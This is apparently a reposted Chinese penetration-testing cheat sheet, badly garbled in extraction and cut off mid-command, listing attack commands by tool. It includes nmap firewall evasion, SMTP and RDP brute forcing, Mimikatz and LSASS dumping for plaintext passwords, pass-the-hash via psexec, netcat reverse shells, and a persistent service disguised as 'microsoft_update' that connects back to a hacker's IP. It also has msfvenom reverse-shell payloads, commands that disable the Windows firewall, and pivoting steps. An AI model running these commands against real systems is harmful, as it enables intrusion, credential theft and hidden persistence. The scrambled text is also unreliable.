搜索

[21299] 2020-10-15_渗透工具实战技巧大合集

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-10-15_渗透工具实战技巧大合集 渗 透 工 具 实 战 技 巧 大 合 集 转 自 安 全 先 师   L e m o n S e c   2 0 2 0 - 1 0 - 1 5 刚 入 行 时 在 网 上 搜 各 种 工 具 使 用 技 巧 及 方 法 ， 通 过 别 人 的 经 验 提 高 自 身 的 技 巧 ， 然 后 再 拿 个 小 本 本 记 录 ， 这 是 每 个 网 安 人 初 入 行 时 的 必 备 姿 势 ， 那 么 今 天 丹 丹 就 拿 起 先 前 做 过 的 笔 记 和 网 上 别 人 的 经 验 刚 入 行 时 在 网 上 搜 各 种 工 具 使 用 技 巧 及 方 法 ， 通 过 别 人 的 经 验 提 高 自 身 的 技 巧 ， 然 后 再 拿 个 小 本 本 记 录 ， 这 是 每 个 网 安 人 初 入 行 时 的 必 备 姿 势 ， 那 么 今 天 丹 丹 就 拿 起 先 前 做 过 的 笔 记 和 网 上 别 人 的 经 验 做 一 个 合 集 ， 把 大 部 分 使 用 到 的 工 具 技 巧 整 理 成 册 ， 后 续 自 己 以 及 大 家 查 阅 ， 如 总 结 不 到 位 的 地 方 希 望 海 涵 ， 那 现 在 就 开 始 吧 。 。 。 。 。 做 一 个 合 集 ， 把 大 部 分 使 用 到 的 工 具 技 巧 整 理 成 册 ， 后 续 自 己 以 及 大 家 查 阅 ， 如 总 结 不 到 位 的 地 方 希 望 海 涵 ， 那 现 在 就 开 始 吧 。 。 。 。 。 N M A P   扫 描 策 略 扫 描 策 略 N m a p   –   躲 避 防 火 墙 躲 避 防 火 墙 #   适 用 所 有 大 小 网 络 最 好 的   n m a p   扫 描 策 略 #   主 机 发 现 ， 生 成 存 活 主 机 列 表 $   n m a p   - s n   - T 4   - o G   D i s c o v e r y . g n m a p   1 9 2 . 1 6 8 . 5 6 . 0 / 2 4 $   g r e p   " S t a t u s :   U p "   D i s c o v e r y . g n m a p   |   c u t   - f   2   - d   '   '   >   L i v e H o s t s . t x t #   端 口 发 现 ， 发 现 大 部 分 常 用 端 口 #   h t t p : / / n m a p . o r g / p r e s e n t a t i o n s / B H D C 0 8 / b h d c 0 8 - s l i d e s - f y o d o r . p d f $   n m a p   - s S   - T 4   - P n   - o G   T o p T C P   - i L   L i v e H o s t s . t x t $   n m a p   - s U   - T 4   - P n   - o N   T o p U D P   - i L   L i v e H o s t s . t x t $   n m a p   - s S   - T 4   - P n   - - t o p - p o r t s   3 6 7 4   - o G   3 6 7 4   - i L   L i v e H o s t s . t x t #   端 口 发 现 ， 发 现 全 部 端 口 ， 但   U D P   端 口 的 扫 描 会 非 常 慢 $   n m a p   - s S   - T 4   - P n   - p   0 - 6 5 5 3 5   - o N   F u l l T C P   - i L   L i v e H o s t s . t x t $   n m a p   - s U   - T 4   - P n   - p   0 - 6 5 5 3 5   - o N   F u l l U D P   - i L   L i v e H o s t s . t x t #   显 示   T C P U D P   端 口 $   g r e p   " o p e n "   F u l l T C P | c u t   - f   1   - d   '   '   |   s o r t   - n u   |   c u t   - f   1   - d   ' / '   | x a r g s   |   s e d   ' s /   / , / g ' | a w k   ' { p r i n t   " T : " $ 0 } ' $   g r e p   " o p e n "   F u l l U D P | c u t   - f   1   - d   '   '   |   s o r t   - n u   |   c u t   - f   1   - d   ' / '   | x a r g s   |   s e d   ' s /   / , / g ' | a w k   ' { p r i n t   " U : " $ 0 } ' #   侦 测 服 务 版 本 $   n m a p   - s V   - T 4   - P n   - o G   S e r v i c e D e t e c t   - i L   L i v e H o s t s . t x t #   扫 做 系 统 扫 描 $   n m a p   - O   - T 4   - P n   - o G   O S D e t e c t   - i L   L i v e H o s t s . t x t #   系 统 和 服 务 检 测 $   n m a p   - O   - s V   - T 4   - P n   - p   U : 5 3 , 1 1 1 , 1 3 7 , T : 2 1 - 2 5 , 8 0 , 1 3 9 , 8 0 8 0   - o G   O S _ S e r v i c e _ D e t e c t   - i L   L i v e H o s t s . t x t #   分 段 $   n m a p   - f #   修 改 默 认   M T U   大 小 ， 但 必 须 为   8   的 倍 数 ( 8 , 1 6 , 2 4 , 3 2   等 等 ) $   n m a p   - - m t u   2 4 #   生 成 随 机 数 量 的 欺 骗 $   n m a p   - D   R N D : 1 0   [ t a r g e t ] #   手 动 指 定 欺 骗 使 用 的   I P $   n m a p   - D   d e c o y 1 , d e c o y 2 , d e c o y 3   e t c . #   僵 尸 网 络 扫 描 ,   首 先 需 要 找 到 僵 尸 网 络 的 I P $   n m a p   - s I   [ Z o m b i e   I P ]   [ T a r g e t   I P ] #   指 定 源 端 口 号 $   n m a p   - - s o u r c e - p o r t   8 0   I P #   在 每 个 扫 描 数 据 包 后 追 加 随 机 数 量 的 数 据 $   n m a p   - - d a t a - l e n g t h   2 5   I P #   M A C   地 址 欺 骗 ， 可 以 生 成 不 同 主 机 的   M A C   地 址
N m a p   进 行 进 行   W e b   漏 洞 扫 描 漏 洞 扫 描 使 用 使 用   D I R B   爆 破 目 录 爆 破 目 录 注 ： D I R B   是 一 个 专 门 用 于 爆 破 目 录 的 工 具 ， 在   K a l i   中 默 认 已 经 安 装 ， 类 似 工 具 还 有 国 外 的 p a t a t o r ， d i r s e a r c h ， D i r B u s t e r ，   国 内 的 御 剑 等 等 。 P a t a t o r   –   全 能 暴 力 破 解 测 试 工 具 全 能 暴 力 破 解 测 试 工 具 使 使 用 用   F i e r c e   爆 破 爆 破   D N S 注 ： F i e r c e   会 检 查   D N S   服 务 器 是 否 允 许 区 域 传 送 。 如 果 允 许 ， 就 会 进 行 区 域 传 送 并 通 知 用 户 ， 如 果 不 允 许 ， 则 可 以 通 过 查 询   D N S   服 务 器 枚 举 主 机 名 。 类 似 工 具 ： s u b D o m a i n s B r u t e   和   S u b B r u t e   等 等 使 用 使 用   N i k t o   扫 描 扫 描   W e b   服 务 服 务 扫 描 扫 描   W o r d P r e s s H T T P   指 纹 识 别 指 纹 识 别 使 用 使 用   S k i p f i s h   扫 描 扫 描 注 ： S k i p f i s h   是 一 款   W e b   应 用 安 全 侦 查 工 具 ， S k i p f i s h   会 利 用 递 归 爬 虫 和 基 于 字 典 的 探 针 生 成 一 幅 交 互 式 网 站 地 图 ， 最 终 生 成 的 地 图 会 在 通 过 安 全 检 查 后 输 出 。 使 用 使 用   N C   扫 描 扫 描 U n i c o r n s c a n 注 ： U n i c o r n s c a n   是 一 个 信 息 收 集 和 安 全 审 计 的 工 具 。 使 用 使 用   X p r o b e 2   识 别 操 作 系 统 指 纹 识 别 操 作 系 统 指 纹 枚 举 枚 举   S a m b a $   n m a p   - - s p o o f - m a c   D e l l / A p p l e / 3 C o m   I P c d   / u s r / s h a r e / n m a p / s c r i p t s / w g e t   h t t p : / / w w w . c o m p u t e c . c h / p r o j e k t e / v u l s c a n / d o w n l o a d / n m a p _ n s e _ v u l s c a n - 2 . 0 . t a r . g z   & &   t a r   x z f   n m a p _ n s e _ v u l s c a n - 2 . 0 . t a r . g z n m a p   - s S   - s V   - - s c r i p t = v u l s c a n / v u l s c a n . n s e   t a r g e t n m a p   - s S   - s V   - - s c r i p t = v u l s c a n / v u l s c a n . n s e   – s c r i p t - a r g s   v u l s c a n d b = s c i p v u l d b . c s v   t a r g e t n m a p   - s S   - s V   - - s c r i p t = v u l s c a n / v u l s c a n . n s e   – s c r i p t - a r g s   v u l s c a n d b = s c i p v u l d b . c s v   - p 8 0   t a r g e t n m a p   - P N   - s S   - s V   - - s c r i p t = v u l s c a n   – s c r i p t - a r g s   v u l s c a n c o r r e l a t i o n = 1   - p 8 0   t a r g e t n m a p   - s V   - - s c r i p t = v u l n   t a r g e t n m a p   - P N   - s S   - s V   - - s c r i p t = a l l   – s c r i p t - a r g s   v u l s c a n c o r r e l a t i o n = 1   t a r g e t h t t p : / / d i r b . s o u r c e f o r g e . n e t / h t t p s : / / g i t h u b . c o m / l a n j e l o t / p a t a t o r h t t p s : / / g i t h u b . c o m / m a u r o s o r i a / d i r s e a r c h h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / C a t e g o r y : O W A S P _ D i r B u s t e r _ P r o j e c t d i r b   h t t p : / / I P : P O R T   / u s r / s h a r e / d i r b / w o r d l i s t s / c o m m o n . t x t #   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / l a n j e l o t / p a t a t o r . g i t   / u s r / s h a r e / p a t a t o r #   S M T P   爆 破 $   p a t a t o r   s m t p _ l o g i n   h o s t = 1 9 2 . 1 6 8 . 1 7 . 1 2 9   u s e r = O l o l e n a   p a s s w o r d = F I L E 0   0 = / u s r / s h a r e / j o h n / p a s s w o r d . l s t $   p a t a t o r   s m t p _ l o g i n   h o s t = 1 9 2 . 1 6 8 . 1 7 . 1 2 9   u s e r = F I L E 1   p a s s w o r d = F I L E 0   0 = / u s r / s h a r e / j o h n / p a s s w o r d . l s t   1 = / u s r / s h a r e / j o h n / u s e r n a m e s . l s t $   p a t a t o r   s m t p _ l o g i n   h o s t = 1 9 2 . 1 6 8 . 1 7 . 1 2 9   h e l o = ' e h l o   1 9 2 . 1 6 8 . 1 7 . 1 2 8 '   u s e r = F I L E 1   p a s s w o r d = F I L E 0   0 = / u s r / s h a r e / j o h n / p a s s w o r d . l s t   1 = / u s r / s h a r e / j o h n / u s e r n a m e s . l s t $   p a t a t o r   s m t p _ l o g i n   h o s t = 1 9 2 . 1 6 8 . 1 7 . 1 2 9   u s e r = O l o l e n a   p a s s w o r d = F I L E 0   0 = / u s r / s h a r e / j o h n / p a s s w o r d . l s t   - x   i g n o r e : f g r e p = ' i n c o r r e c t   p a s s w o r d   o r   a c c o u n t   n a m e ' h t t p s : / / g i t h u b . c o m / l i j i e j i e / s u b D o m a i n s B r u t e h t t p s : / / g i t h u b . c o m / T h e R o o k / s u b b r u t e / #   h t t p : / / h a . c k e r s . o r g / f i e r c e / $   . / f i e r c e . p l   - d n s   e x a m p l e . c o m $   . / f i e r c e . p l   – d n s   e x a m p l e . c o m   – w o r d l i s t   m y W o r d L i s t . t x t n i k t o   - C   a l l   - h   h t t p : / / I P g i t   c l o n e   h t t p s : / / g i t h u b . c o m / w p s c a n t e a m / w p s c a n . g i t   & &   c d   w p s c a n . / w p s c a n   – u r l   h t t p : / / I P /   – e n u m e r a t e   p w g e t   h t t p : / / w w w . n e t - s q u a r e . c o m / _ a s s e t s / h t t p r i n t _ l i n u x _ 3 0 1 . z i p   & &   u n z i p   h t t p r i n t _ l i n u x _ 3 0 1 . z i p c d   h t t p r i n t _ 3 0 1 / l i n u x / . / h t t p r i n t   - h   h t t p : / / I P   - s   s i g n a t u r e s . t x t s k i p f i s h   - m   5   - L Y   - S   / u s r / s h a r e / s k i p f i s h / d i c t i o n a r i e s / c o m p l e t e . w l   - o   . / s k i p f i s h 2   - u   h t t p : / / I P n c   - v   - w   1   t a r g e t   - z   1 - 1 0 0 0 f o r   i   i n   { 1 0 1 . . 1 0 2 } ;   d o   n c   - v v   - n   - w   1   1 9 2 . 1 6 8 . 5 6 . $ i   2 1 - 2 5   - z ;   d o n e u s   - H   - m s f   - I v   1 9 2 . 1 6 8 . 5 6 . 1 0 1   - p   1 - 6 5 5 3 5 u s   - H   - m U   - I v   1 9 2 . 1 6 8 . 5 6 . 1 0 1   - p   1 - 6 5 5 3 5 - H   在 生 成 报 告 阶 段 解 析 主 机 名 - m   扫 描 类 型   ( s f   -   t c p ,   U   -   u d p ) - I v   -   详 细 x p r o b e 2   - v   - p   t c p : 8 0 : o p e n   I P n m b l o o k u p   - A   t a r g e t s m b c l i e n t   / / M O U N T / s h a r e   - I   t a r g e t   - N r p c c l i e n t   - U   " "   t a r g e t e n u m 4 l i n u x   t a r g e t
枚 举 枚 举   S N M P 实 用 的 实 用 的   W i n d o w s   c m d   命 令 命 令 P u T T Y   连 接 隧 道 连 接 隧 道 M e t e r p r e t e r   端 口 转 发 端 口 转 发 开 启 开 启   R D P   服 务 服 务 关 闭 关 闭   W i n d o w s   防 火 墙 防 火 墙 M e t e r p r e t e r   V N C R D P 使 用 使 用   M i m i k a t z 获 取   W i n d o w s   明 文 用 户 名 密 码 获 取 获 取 哈 希 值 哈 希 值 使 用 使 用   H a s h c a t   破 解 密 码 破 解 密 码 使 用 使 用   N C   抓 取 抓 取   B a n n e r   信 息 信 息 s n m p g e t   - v   1   - c   p u b l i c   I P s n m p w a l k   - v   1   - c   p u b l i c   I P s n m p b u l k w a l k   - v 2 c   - c   p u b l i c   - C n 0   - C r 1 0   I P n e t   l o c a l g r o u p   U s e r s n e t   l o c a l g r o u p   A d m i n i s t r a t o r s s e a r c h   d i r / s   * . d o c s y s t e m ( " s t a r t   c m d . e x e   / k   $ c m d " ) s c   c r e a t e   m i c r o s o f t _ u p d a t e   b i n p a t h = " c m d   / K   s t a r t   c : n c . e x e   - d   i p - o f - h a c k e r   p o r t   - e   c m d . e x e "   s t a r t =   a u t o   e r r o r =   i g n o r e / c   C : n c . e x e   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e   - v v   2 3 . 9 2 . 1 7 . 1 0 3   7 7 7 9 m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " l o g "   " s e k u r l s a : : l o g o n p a s s w o r d s " P r o c d u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p m i m i k a t z . e x e   " s e k u r l s a : : m i n i d u m p   l s a s s . d m p "   " l o g "   " s e k u r l s a : : l o g o n p a s s w o r d s " C : t e m p p r o c d u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p   3 2   位 系 统 C : t e m p p r o c d u m p . e x e   - a c c e p t e u l a   - 6 4   - m a   l s a s s . e x e   l s a s s . d m p   6 4   位 系 统 转 发 远 程 端 口 到 目 标 地 址 p l i n k . e x e   - P   2 2   - l   r o o t   - p w   " 1 2 3 4 "   - R   4 4 5 : 1 2 7 . 0 . 0 . 1 : 4 4 5   I P #   h t t p s : / / w w w . o f f e n s i v e - s e c u r i t y . c o m / m e t a s p l o i t - u n l e a s h e d / p o r t f w d / #   转 发 远 程 端 口 到 目 标 地 址 m e t e r p r e t e r   >   p o r t f w d   a d d   – l   3 3 8 9   – p   3 3 8 9   – r   1 7 2 . 1 6 . 1 9 4 . 1 4 1 k a l i   >   r d e s k t o p   1 2 7 . 0 . 0 . 1 : 3 3 8 9 r e g   a d d   " h k l m s y s t e m c u r r e n t c o n t r o l s e t c o n t r o l t e r m i n a l   s e r v e r "   / f   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 n e t s h   f i r e w a l l   s e t   s e r v i c e   r e m o t e a d m i n   e n a b l e n e t s h   f i r e w a l l   s e t   s e r v i c e   r e m o t e d e s k t o p   e n a b l e n e t s h   f i r e w a l l   s e t   o p m o d e   d i s a b l e #   h t t p s : / / w w w . o f f e n s i v e - s e c u r i t y . c o m / m e t a s p l o i t - u n l e a s h e d / e n a b l i n g - r e m o t e - d e s k t o p / r u n   g e t g u i   - u   a d m i n   - p   1 2 3 4 r u n   v n c   - p   5 0 4 3 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z . g i t p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n P a s s w o r d s   f u l l g i t   c l o n e   h t t p s : / / g i t h u b . c o m / b y t 3 b l 3 3 d 3 r / p t h - t o o l k i t p t h - w i n e x e   - U   h a s h   / / I P   c m d 或 者 a p t - g e t   i n s t a l l   f r e e r d p - x 1 1 x f r e e r d p   / u : o f f s e c   / d : w i n 2 0 1 2   / p t h : H A S H   / v : I P 在 或 者 m e t e r p r e t e r   >   r u n   p o s t / w i n d o w s / g a t h e r / h a s h d u m p A d m i n i s t r a t o r : 5 0 0 : e 5 2 c a c 6 7 4 1 9 a 9 a 2 2 4 a 3 b 1 0 8 f 3 f a 6 c b 6 d : 8 8 4 6 f 7 e a e e 8 f b 1 1 7 a d 0 6 b d d 8 3 0 b 7 5 8 6 c : : : m s f   >   u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c m s f   e x p l o i t ( p s e x e c )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f   e x p l o i t ( p s e x e c )   >   s e t   S M B P a s s   e 5 2 c a c 6 7 4 1 9 a 9 a 2 2 4 a 3 b 1 0 8 f 3 f a 6 c b 6 d : 8 8 4 6 f 7 e a e e 8 f b 1 1 7 a d 0 6 b d d 8 3 0 b 7 5 8 6 c m s f   e x p l o i t ( p s e x e c )   >   e x p l o i t m e t e r p r e t e r   >   s h e l l h a s h c a t   - m   4 0 0   - a   0   h a s h   / r o o t / r o c k y o u . t x t n c   1 9 2 . 1 6 8 . 0 . 1 0   8 0 G E T   /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 0 U s e r - A g e n t :   M o z i l l a / 4 . 0 R e f e r r e r :   w w w . e x a m p l e . c o m
使 用 使 用   N C   在 在   W i n d o w s   上 反 弹 上 反 弹   s h e l l 查 找 查 找   S U I D S G I D   r o o t   文 件 文 件 P y t h o n   s h e l l P y t h o n R u b y P H P   H T T P   服 务 器 服 务 器 获 取 进 程 对 应 的 获 取 进 程 对 应 的   P I D 使 用 使 用   H y d r a   爆 破 爆 破   R D P 挂 载 远 程 挂 载 远 程   W i n d o w s   共 享 文 件 夹 共 享 文 件 夹 K a l i   下 编 译 下 编 译   E x p l o i t K a l i   下 编 译 下 编 译   W i n d o w s   E x p l o i t N A S M   命 令 注 ： N A S M   全 称   T h e   N e t w i d e   A s s e m b l e r ， 是 一 款 基 于 8 0 × 8 6 和 x 8 6 - 6 4 平 台 的 汇 编 语 言 编 译 程 序 ， 其 设 计 初 衷 是 为 了 实 现 编 译 器 程 序 跨 平 台 和 模 块 化 的 特 性 。 S S H   穿 透 穿 透 < e n t e r > < e n t e r > c : > n c   - L p   3 1 3 3 7   - v v   - e   c m d . e x e n c   1 9 2 . 1 6 8 . 0 . 1 0   3 1 3 3 7 c : > n c   e x a m p l e . c o m   8 0   - e   c m d . e x e n c   - l p   8 0 n c   - l p   3 1 3 3 7   - e   / b i n / b a s h n c   1 9 2 . 1 6 8 . 0 . 1 0   3 1 3 3 7 n c   - v v   - r ( r a n d o m )   - w ( w a i t )   1   1 9 2 . 1 6 8 . 0 . 1 0   - z ( i / o   e r r o r )   1 - 1 0 0 0 #   查 找   S U I D   r o o t   文 件 f i n d   /   - u s e r   r o o t   - p e r m   - 4 0 0 0   - p r i n t #   查 找   S G I D   r o o t   文 件 : f i n d   /   - g r o u p   r o o t   - p e r m   - 2 0 0 0   - p r i n t #   查 找   S U I D   和   S G I D   文 件 : f i n d   /   - p e r m   - 4 0 0 0   - o   - p e r m   - 2 0 0 0   - p r i n t #   查 找 不 属 于 任 何 用 户 的 文 件 : f i n d   /   - n o u s e r   - p r i n t #   查 找 不 属 于 任 何 用 户 组 的 文 件 : f i n d   /   - n o g r o u p   - p r i n t #   查 找 软 连 接 及 其 指 向 : f i n d   /   - t y p e   l   - l s p y t h o n   - c   ' i m p o r t   p t y ; p t y . s p a w n ( " / b i n / b a s h " ) ' p y t h o n 2   - m   S i m p l e H T T P S e r v e r p y t h o n 3   - m   h t t p . s e r v e r r u b y   - r w e b r i c k   - e   " W E B r i c k : : H T T P S e r v e r . n e w ( : P o r t   = >   8 8 8 8 ,     o c u m e n t R o o t   = >   D i r . p w d ) . s t a r t " p h p   - S   0 . 0 . 0 . 0 : 8 8 8 8 f u s e r   - n v   t c p   8 0 f u s e r   - k   - n   t c p   8 0 h y d r a   - l   a d m i n   - P   / r o o t / D e s k t o p / p a s s w o r d s   - S   X . X . X . X   r d p s m b m o u n t   / / X . X . X . X / c $   / m n t / r e m o t e /   - o   u s e r n a m e = u s e r , p a s s w o r d = p a s s , r w g c c   - m 3 2   - o   o u t p u t 3 2   h e l l o . c   ( 3 2   位 ) g c c   - m 6 4   - o   o u t p u t   h e l l o . c   ( 6 4   位 ) w g e t   - O   m i n g w - g e t - s e t u p . e x e   h t t p : / / s o u r c e f o r g e . n e t / p r o j e c t s / m i n g w / f i l e s / I n s t a l l e r / m i n g w - g e t - s e t u p . e x e / d o w n l o a d w i n e   m i n g w - g e t - s e t u p . e x e s e l e c t   m i n g w 3 2 - b a s e c d   / r o o t / . w i n e / d r i v e _ c / w i n d o w s w g e t   h t t p : / / g o j h o n n y . c o m / m i s c / m i n g w _ b i n . z i p   & &   u n z i p   m i n g w _ b i n . z i p c d   / r o o t / . w i n e / d r i v e _ c / M i n G W / b i n w i n e   g c c   - o   a b i l i t y . e x e   / t m p / e x p l o i t . c   - l w s o c k 3 2 w i n e   a b i l i t y . e x e n a s m   - f   b i n   - o   p a y l o a d . b i n   p a y l o a d . a s m n a s m   - f   e l f   p a y l o a d . a s m ;   l d   - o   p a y l o a d   p a y l o a d . o ;   o b j d u m p   - d   p a y l o a d s s h   - D   1 2 7 . 0 . 0 . 1 : 1 0 8 0   - p   2 2   u s e r @ I P A d d   s o c k s 4   1 2 7 . 0 . 0 . 1   1 0 8 0   i n   / e t c / p r o x y c h a i n s . c o n f p r o x y c h a i n s   c o m m a n d s   t a r g e t
S S H   穿 透 从 一 个 网 络 到 另 一 个 网 络 穿 透 从 一 个 网 络 到 另 一 个 网 络 使 用 使 用   m e t a s p l o i t   进 行 穿 透 进 行 穿 透 基 于 基 于   C S V   文 件 查 询 文 件 查 询   E x p l o i t - D B M S F   P a y l o a d s M S F   生 成 在 生 成 在   L i n u x   下 反 弹 的 下 反 弹 的   M e t e r p r e t e r   S h e l l M S F   生 成 反 弹 生 成 反 弹   S h e l l   ( C   S h e l l c o d e ) M S F   生 成 反 弹 生 成 反 弹   P y t h o n   S h e l l M S F   生 成 反 弹 生 成 反 弹   A S P   S h e l l M S F   生 成 反 弹 生 成 反 弹   B a s h   S h e l l M S F   生 成 反 弹 生 成 反 弹   P H P   S h e l l M S F   生 成 反 弹 生 成 反 弹   W i n   S h e l l L i n u x   常 用 安 全 命 令 常 用 安 全 命 令 p r o x y c h a i n s   c o m m a n d s   t a r g e t s s h   - D   1 2 7 . 0 . 0 . 1 : 1 0 8 0   - p   2 2   u s e r 1 @ I P 1 A d d   s o c k s 4   1 2 7 . 0 . 0 . 1   1 0 8 0   i n   / e t c / p r o x y c h a i n s . c o n f p r o x y c h a i n s   s s h   - D   1 2 7 . 0 . 0 . 1 : 1 0 8 1   - p   2 2   u s e r 1 @ I P 2 A d d   s o c k s 4   1 2 7 . 0 . 0 . 1   1 0 8 1   i n   / e t c / p r o x y c h a i n s . c o n f p r o x y c h a i n s   c o m m a n d s   t a r g e t r o u t e   a d d   X . X . X . X   2 5 5 . 2 5 5 . 2 5 5 . 0   1 u s e   a u x i l i a r y / s e r v e r / s o c k s 4 a r u n p r o x y c h a i n s   m s f c l i   w i n d o w s / *   P A Y L O A D = w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = I P   L P O R T = 4 4 3   R H O S T = I P   E 或 者 #   h t t p s : / / w w w . o f f e n s i v e - s e c u r i t y . c o m / m e t a s p l o i t - u n l e a s h e d / p i v o t i n g / m e t e r p r e t e r   >   i p c o n f i g I P   A d d r e s s     :   1 0 . 1 . 1 3 . 3 m e t e r p r e t e r   >   r u n   a u t o r o u t e   - s   1 0 . 1 . 1 3 . 0 / 2 4 m e t e r p r e t e r   >   r u n   a u t o r o u t e   - p 1 0 . 1 . 1 3 . 0                     2 5 5 . 2 5 5 . 2 5 5 . 0             S e s s i o n   1 m e t e r p r e t e r   >   C t r l + Z m s f   a u x i l i a r y ( t c p )   >   u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c m s f   e x p l o i t ( p s e x e c )   >   s e t   R H O S T   1 0 . 1 . 1 3 . 2 m s f   e x p l o i t ( p s e x e c )   >   e x p l o i t m e t e r p r e t e r   >   i p c o n f i g I P   A d d r e s s     :   1 0 . 1 . 1 3 . 2 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / o f f e n s i v e - s e c u r i t y / e x p l o i t - d a t a b a s e . g i t c d   e x p l o i t - d a t a b a s e . / s e a r c h s p l o i t   – u . / s e a r c h s p l o i t   a p a c h e   2 . 2 . / s e a r c h s p l o i t   " L i n u x   K e r n e l " c a t   f i l e s . c s v   |   g r e p   - i   l i n u x   |   g r e p   - i   k e r n e l   |   g r e p   - i   l o c a l   |   g r e p   - v   d o s   |   u n i q   |   g r e p   2 . 6   |   e g r e p   " < | < = "   |   s o r t   - k 3 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = < I P   A d d r e s s >   X   >   s y s t e m . e x e m s f v e n o m   - p   p h p / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = < I P   A d d r e s s >   L P O R T = 4 4 3   R   >   e x p l o i t . p h p m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = < I P   A d d r e s s >   L P O R T = 4 4 3   - e   - a   x 8 6   - - p l a t f o r m   w i n   - f   a s p   - o   f i l e . a s p m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = < I P   A d d r e s s >   L P O R T = 4 4 3   - e   x 8 6 / s h i k a t a _ g a _ n a i   - b   " x 0 0 "   - a   x 8 6   - - p l a t f o r m   w i n   - f   c m s f v e n o m   - p   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = < I P   A d d r e s s >   L P O R T = 4 4 3   - e   - f   e l f   - a   x 8 6   - - p l a t f o r m   l i n u x   - o   s h e l l m s f v e n o m   - p   w i n d o w s / s h e l l _ r e v e r s e _ t c p   L H O S T = 1 2 7 . 0 . 0 . 1   L P O R T = 4 4 3   - b   " x 0 0 x 0 a x 0 d "   - a   x 8 6   - - p l a t f o r m   w i n   - f   c m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ p y t h o n   L H O S T = 1 2 7 . 0 . 0 . 1   L P O R T = 4 4 3   - o   s h e l l . p y m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = < Y o u r   I P   A d d r e s s >   L P O R T = < Y o u r   P o r t   t o   C o n n e c t   O n >   - f   a s p   - a   x 8 6   - - p l a t f o r m   w i n   - o   s h e l l . a s p m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ b a s h   L H O S T = < Y o u r   I P   A d d r e s s >   L P O R T = < Y o u r   P o r t   t o   C o n n e c t   O n >   - o   s h e l l . s h m s f v e n o m   - p   p h p / m e t e r p r e t e r _ r e v e r s e _ t c p   L H O S T = < Y o u r   I P   A d d r e s s >   L P O R T = < Y o u r   P o r t   t o   C o n n e c t   O n >   - o   s h e l l . p h p a d d   < ? p h p   a t   t h e   b e g i n n i n g p e r l   - i ~   - 0 7 7 7 p e ' s / ^ / < ? p h p   n / '   s h e l l . p h p m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = < Y o u r   I P   A d d r e s s >   L P O R T = < Y o u r   P o r t   t o   C o n n e c t   O n >   - f   e x e   - a   x 8 6   - - p l a t f o r m   w i n   - o   s h e l l . e x e #   使 用   u i d   查 找 对 应 的 程 序 f i n d   /   - u i d   0   - p e r m   - 4 0 0 0 #   查 找 哪 里 拥 有 写 权 限 f i n d   /   - p e r m   - o = w #   查 找 名 称 中 包 含 点 和 空 格 的 文 件 f i n d   /   - n a m e   "   "   - p r i n t
W i n d o w s   缓 冲 区 溢 出 利 用 命 令 缓 冲 区 溢 出 利 用 命 令 S E H   –   结 构 化 异 常 处 理 结 构 化 异 常 处 理 注 ： S E H ( “ S t r u c t u r e d   E x c e p t i o n   H a n d l i n g ” ) ， 即 结 构 化 异 常 处 理 ， 是   w i n d o w s   操 作 系 统 提 供 给 程 序 设 计 者 的 强 有 力 的 处 理 程 序 错 误 或 异 常 的 武 器 。 R O P   ( D E P ) 注 ： R O P ( “ R e t u r n - O r i e n t e d   P r o g r a m m i n g ” ) 是 计 算 机 安 全 漏 洞 利 用 技 术 ， 该 技 术 允 许 攻 击 者 在 安 全 防 御 的 情 况 下 执 行 代 码 ， 如 不 可 执 行 的 内 存 和 代 码 签 名 。 D E P ( “ D a t a   E x e c u t i o n   P r e v e n t i o n ” ) 是 一 套 软 硬 件 技 术 ， 在 内 存 上 严 格 将 代 码 和 数 据 进 行 区 分 ， 防 止 数 据 当 做 代 码 执 行 。 f i n d   /   - n a m e   "   "   - p r i n t f i n d   /   - n a m e   " . . "   - p r i n t f i n d   /   - n a m e   " .   "   - p r i n t f i n d   /   - n a m e   "   "   - p r i n t #   查 找 不 属 于 任 何 人 的 文 件 f i n d   /   - n o u s e r #   查 找 未 链 接 的 文 件 l s o f   + L 1 #   获 取 进 程 打 开 端 口 的 信 息 l s o f   - i #   看 看   A R P   表 中 是 否 有 奇 怪 的 东 西 a r p   - a #   查 看 所 有 账 户 g e t e n t   p a s s w d #   查 看 所 有 用 户 组 g e t e n t   g r o u p #   列 举 所 有 用 户 的   c r o n t a b s f o r   u s e r   i n   $ ( g e t e n t   p a s s w d | c u t   - f 1   - d : ) ;   d o   e c h o   " # # #   C r o n t a b s   f o r   $ u s e r   # # # # " ;   c r o n t a b   - u   $ u s e r   - l ;   d o n e #   生 成 随 机 密 码 c a t   / d e v / u r a n d o m |   t r   - d c   ‘ a - z A - Z 0 - 9 - _ ! @ # $ % ^ & * ( ) _ + { } | : < > ? = ’ | f o l d   - w   1 2 |   h e a d   - n   4 #   查 找 所 有 不 可 修 改 的 文 件 f i n d   .   |   x a r g s   - I   f i l e   l s a t t r   - a   f i l e   2 > / d e v / n u l l   |   g r e p   ‘ ^ … . i ’ #   使 文 件 不 可 修 改 c 